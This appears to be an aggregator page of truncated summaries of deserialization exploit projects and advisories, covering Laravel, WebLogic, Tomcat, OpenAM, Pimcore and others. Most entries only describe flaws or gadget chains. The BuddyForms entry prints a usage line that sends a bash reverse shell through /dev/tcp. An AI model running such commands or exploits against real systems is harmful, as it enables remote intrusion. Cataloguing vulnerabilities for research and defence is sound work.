EUVD-2026-69650

Cypht before 2.12.2 contains a PHP object injection vulnerability that allows authenticated attackers to execute arbitrary operating system commands by supplying a crafted PHP object graph in the backquery GET parameter of the logout handler. Attackers can pass a base64-encoded serialized payload...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129-Laravel Debug mode remote code execution vulnerability Affected versions and conditions Laravel = 8.4.2 Ignition 2.5.2 Environment setup docker pull vulhub/laravel:8.4.2 exp usage Download and execute in the same directory as exploit.py: git clone...

gadgetinspector

Gadget Inspector Este proyecto inspecciona bibliotecas Java y classpaths en busca de cadenas de gadgets. Las cadenas de gadgets se utilizan para construir exploits para vulnerabilidades de deserialización. Al descubrir automáticamente posibles cadenas de gadgets en el classpath de una aplicación,...

POC_CVE-2020-2555

POCCVE-2020-2555 PoC para CVE-2020-2555 3 partes: Cliente y Servidor: para construir el objeto y enviarlo al Servidor, desencadenar la cadena de gadgets. Úsalo para construir el objeto propietario. Ataque: enviar el objeto a través del protocolo T3 con pwntools...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study In-depth study of CVE-2019-18935 affecting Telerik UI for ASP.NET AJAX. Covers .NET deserialization vulnerability, RadAsyncUpload handler, gadget chains, mixed-mode assembly exploitation, and mitigation strategies...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

CVE-2020-2883

what's this This project which based weblogiccmd is a poc for CVE-2020-2883. Two Gadget First: root@kitploit: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator com.tangosol.util.comparator.ExtractorComparator.compare...

CVE-2019-12814

CVE-2019-12814 CVE-2019-12814:Jackson JDOM XSLTransformer Gadget...

CVE-2026-33439

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization Human insight + AI-assisted analysis + reverse engineering + advisory → exploit First publicly shared exploit implementation for CVE-2026-33439 Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID Unauthenticated RCE Proof of Concept Overview CVE-2026-69836 is a critical unauthenticated remote code execution vulnerability in Microsoft Entra ID due to improper deserialization of untrusted data CWE-502. The flaw allows attackers to execute arbitrary code over the...

CVE-2026-25632

CVE-2026-25632 — Deserialización JSON RCE en API REST Desafío de Corrección Inspirado en una vulnerabilidad real de 2026 CVSS 10.0, explotada activamente Basado en: CVE-2026-25632 — Ejecución remota de código mediante deserialización JSON insegura controlada por type, descubierta en la API REST d...

CVE-2025-24813

CVE-2025-24813 Apache Tomcat - Remote Code Execution via Session Deserialization Unauthenticated partial PUT + path traversal + gadget-driven deserialization Description Apache Tomcat instances with the default servlet PUT enabled readonly=false allow writing files via HTTP PUT requests. By...

CVE-2026-40860

camel-jms JMS ObjectMessage Unsafe Deserialization Reproducer CVE-2026-40860 This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-jms component and, transitively, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6, tracked as CVE-2026-40860...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 affects Apache Tomcat - if it's a vulnerable version and spectacularly misconfigured, an attacker can get RCE with one GET and one POST. More info here This is Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng's script from the recent writeup modified to accept...

effective-waffle

effective-waffle ancora un'altra cosa per la crittografia del sonno. ho anche usato il nome predefinito del repository github per questa. TpAllocWork + TpPostWork + TpWaitForWork + TpReleaseWork per creare + eseguire + pulire la callback. La callback è un po' di assembly raffazzonato che mette in...

CVE-2026-55220 Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field hotspots object-store column to...

CVE-2026-55220

Pimcore (Open Source Data & Experience Management Platform) contains an unrestricted deserialization flaw in Hotspotimage::getDataFromResource() . After JSON decoding of the __hotspots object-store column fails, the raw value is passed to Serialize::unserialize() without an allowed-classes whitel...

Weblogic_CVE-2020-2883_POC

POC per weblogic CVE-2020-2883 poc1: root@kitploit: javax.management.BadAttributeValueExpException.readObject com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString java.util.concurrent.ConcurrentSkipListMap$SubMap.size java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd...

CVE-2018-15133-PoC

CVE-2018-15133-PoC Este script Python implementa um exploit de execução remota de código RCE para aplicações Laravel vulneráveis através de desserialização insegura, baseando-se na vulnerabilidade CVE-2018-15133. O exploit aproveita uma vulnerabilidade no Laravel versões 5.5.40 e anteriores, e...